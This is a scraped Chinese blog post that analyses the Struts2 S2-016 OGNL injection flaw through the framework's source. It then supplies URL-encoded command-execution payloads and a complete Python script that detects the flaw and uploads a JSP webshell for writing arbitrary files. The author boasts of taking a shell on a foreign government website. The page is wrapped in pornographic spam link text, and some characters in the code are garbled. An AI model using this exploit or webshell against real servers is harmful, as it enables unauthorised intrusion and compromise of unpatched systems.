多多色-多人伦交性欧美在线观看-多人伦精品一区二区三区视频-多色视频-免费黄色视屏网站-免费黄色在线

國內最全IT社區平臺 聯系我們 | 收藏本站
阿里云優惠2
您當前位置:首頁 > php開源 > 綜合技術 > Struts2漏洞之S2-016漏洞分析與exp編寫

Struts2漏洞之S2-016漏洞分析與exp編寫

來源:程序員人生   發布時間:2014-12-17 08:45:20 閱讀次數:4828次

1、概述
S2-016是13年7月爆出的,那時候的我還沒觸及Web安全研究。這次遲到的分析也算是對過去的補充。這個漏洞影響了Struts 2.3.15.1之前的所有版本。問題主要出在對特殊URL處理中,redirect與redirectAction后面跟上Ognl表達式會被服務器履行。

2、漏洞分析
分析開源框架的漏洞還是從其源碼入手,問題出在了DefaultActiionMapper上,這個類主要是用來處理1些靈活的URL調用,比如處理Action中動態調用方法的情勢,如:
http://www.foo.com/bar/hello.action?user!add
foo!bar這類情勢是動態的調用action中的方法,其中foo是action,bar是方法名,但是調用的條件是在struts.xml中事前進行配置。
固然這只是1種,這個類還有個重要的作用就是處理redirect、redirectAction、method、action

method用來動態指明調用的方法,如調用hello中的execute方法,則可以傳入url為:http;//www.foo.com/bar/hello.action?method:execute。
action用來指定其他的action,有了這個前綴,URL中的默許Action的execute方法不會被履行,而是履行其他action中的execute方法。
redirect1旦寫定,一樣不會履行默許action中的execute方法,而是重定向到其他的頁面,內部通過ServletRedirectResult完成履行。
redirectAction一樣會屏蔽默許action的方法,而是重定向到其他的Action,一樣依托ServletRedirectResult實現任務。
至于為何redirect后面的東西就會當作Ognl履行呢?   繼續往下分析源碼。
傳入以下URL給Struts2框架,并設置相應的斷點。

Payload
127.0.0.1:8080/struts_hello/hello?redirect:
${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}

首先,在DefaultActionMapper中做的第1件事情就是將Action的名稱和命名空間(namespace)給提取出來,接下來調用了兩個方法,1個是handleSpecialParameters,主要是這個handleSepcialParameters方法中有問題。
首先要提取出redirect:${xxxxxx}作為key,然后調用execute方法。

繼續跟進,發現是調用了構造方法中的其中1個,這里是根據辨認的redirect前綴決定調用哪一個put方法。
最最引人注視的就是這個redirect,這個redirect其實就是1個ServletRedirectResult的對象,前面也說過了,處理redirect前綴履行的就是這個類了,而這里只做了1件事,就是規定了重定向的方向,也就是邏輯流要跳轉到哪里去。這個key.substring(REDIRECT_PREFIX).length()就是redirect:${xxxx}中的xxxx內容。
以上就是對URL進行1次預處理,并將運行環境和對象創建出來,接下來就是在StrutsPrepareAndExecution調用了executeAction方法:
有童鞋可能會問,這個mapping究竟是甚么呢?
其實這個mapping就能夠看成這次要求的1個參數表,里面規定了redierect的location、Action的名稱、namespace等等,繼續跟進,就1路跟到了StrutsResultSupport中:

這個方法就是為了解析參數并用于Ognl表達式。其中的param參數是個String類型,其實就是${xxx}。
進入translateVariables,這個進程可以清楚看到Struts2的裝潢進程,終究來到了TextParseUtil類中:
對參數進行說明,第1個參數是個字符數組,主要規定了"redirect:"與后面的大括號之間的符號,可以是$,也能夠是%。
expression就是${xxxx}。stack就是當前的值棧。
這個方法中首先將大括號中的內容提取出來:
這些只是將Ognl表達式進行提取,說白了就是進行1系列的字符串操作,而履行則是通過下面的語句:
var是提取出來的Ognl表達式,就是大括號里面的內容。接著履行了stack.findValue方法,正是這個方法將Ognl表達式履行了,其實就是到了比較底層的OgnlUtil中進行語法樹分析并履行,最后返回履行的結果。這個履行的進程就是在OgnlValueStack中實現的(對樹中的每一個節點進行履行),這里觸及了Ognl語法樹算法,這里不贅述。
分析到這里,相信很多人都會明白了這個Ognl是如何就履行的了,這也是Struts2漏洞的最根本的地方,每一個Struts2漏洞都是圍繞著Ognl表達式機制。探測和分析出不同的方法(各種payload的奇怪表示)都是為了終究讓服務端履行我們的Ognl表達式代碼。


3、總結
S2-016的根本緣由就是沒有對幾個前綴的后面進行嚴格的過濾,致使黑客可以傳入符合Ognl表達式語法規則的字符串,使得Struts2將其當作Ognl表達式在ValueStack中履行,從而造成了任意命令的履行,getshell啊、列目錄、echo上傳,本質上都是履行java代碼。

4、S2-016的exp編寫
分析清楚了漏洞的原理,其實寫個exp不是太難了。不過這里有個大坑,就是我在調試exp的時候,發現這個漏洞不同于以往的s2漏洞。對1些URL中的特殊字符,比如等于號、空格、中括號、雙引號、#符號等,必須要嚴格進行urlencode才行,否則exp會履行失敗,不知道后面是怎樣運作的,有興趣的童鞋可以嘗摸索索1下。
在最后,給出我的漏洞監測+getshell腳本,代碼以下:
POC:
%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()

GETSHELL:
%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29

#coding=utf⑻ import sys import requests class StrutsExploit(): def __init__(self): self.webshell = '''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><html><head><title>system</title><meta http-equiv="keywords" content="system"><meta http-equiv="description" content="system"></head><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("up")){String url=request.getParameter("url");String text=request.getParameter("text");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>Failed<%}}if(i==0){%>Success<%}%><body><form action='' method='post'>path of your shell:<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="text">typing code here</textarea><br><input type="submit" value="up" name="text"/></form></body></html>''' self.payload = '''redirect:${%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29}''' self.detect_str = '''redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22HACKER%22),%23p.close()}''' '''獲得shell的URL''' def getShellPath(self,url): rawurl = url count = 0 i = 0 lineIndex = [] url = url.replace('http://','') for x in url: if x == '/': lineIndex.append(i) count += 1 if count == 2: break i += 1 if len(lineIndex) != 2: proDir = '' partOne = partOne = rawurl[0:lineIndex[0]+7] else: proDir = url[lineIndex[0]:lineIndex[1]] partOne = rawurl[0:lineIndex[0]+7] shellpath = "%s%s%s" % (partOne,proDir,"/system.jsp") return shellpath '''檢測是不是存在漏洞''' def detect(self,url): url = "%s?%s" % (url,self.detect_str) try: r = requests.get(url,timeout=10) page_content = r.content if page_content.find('HACKER') != ⑴: return True else: return False except Exception, e: print '[+]Exploit Failed:',e return False '''攻擊 上傳shell到根目錄''' def getshell(self,url): target_url = "%s?%s" % (url,self.payload) data = {'t':self.webshell} try: r = requests.post(target_url,data=data,timeout=10) page_content = r.content if page_content.find('DONE') != ⑴: print '[+]Exploit Success,shell location: %s' % self.getShellPath(url) else: print '[+]Exploit Failed' except Exception, e: print '[+]Exploit Failed:',e return if __name__ == '__main__': if len(sys.argv) != 2: print '[+]Usage:python s2-016.py [target_url]' sys.exit() url = sys.argv[1] if not url.startswith('http://'): print '[+]URL is invalid!' sys.exit() print 'Powered By:Exploit QQ:739858341 [:-)]Target:%s' % url attacker = StrutsExploit() if attacker.detect(url): print '[+]This website is vulnerable!' else: print '[+]Sorry,exploit failed!' sys.exit() attacker.getshell(url)

測試運行結果:

shell結果(國外ZF網站):

生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈
程序員人生
------分隔線----------------------------
分享到:
------分隔線----------------------------
關閉
程序員人生
主站蜘蛛池模板: 国产一级淫片a | 欧美 亚洲 中文字幕 | 午夜成人影片 | 国产一区二区三区樱花动漫 | www黄色大片 | 日韩欧美一区二区三区在线观看 | 亚洲香蕉一区二区三区在线观看 | www.在线观看.com | 日产一区一区三区产品 | 波多野结衣不卡 | 亚洲欧美一区二区三区九九九 | 日本一区免费看 | 欧美视频xxxx | 波多野结衣国产精品 | 国产毛片a精品毛 | 在线看日本a毛片 | 色cccwww在线播放 | 免费在线视频观看 | 最近最新的中文字幕大全3 最近最新高清免费中文字幕 | 97影院3 | ww亚洲ww亚在线观看 | 亚洲第一色在线 | 久久综合九色综合97欧美 | 国产精品一区在线麻豆 | 广西毛片 | 日本a在线播放 | 一级做a爱片久久蜜桃 | 欧美日韩免费一区二区三区 | 亚洲成a人片在线观看尤物 亚洲成a人片在线观看中文!!! | 2020久久精品永久免费 | 2020国产v亚洲v天堂高清 | 国产午夜亚洲精品久久www | 欧美乱妇高清无乱码亚洲欧美 | 亚洲 欧美 手机 在线观看 | 91成人爽a毛片一区二区 | 亚洲精品国产第一区二区图片 | 波多野结衣视频在线免费观看 | 日韩欧美一区二区三区不卡在线 | 日韩欧美视频 | 国产欧美日韩图片一区二区 | 动漫精品一级毛片动漫 |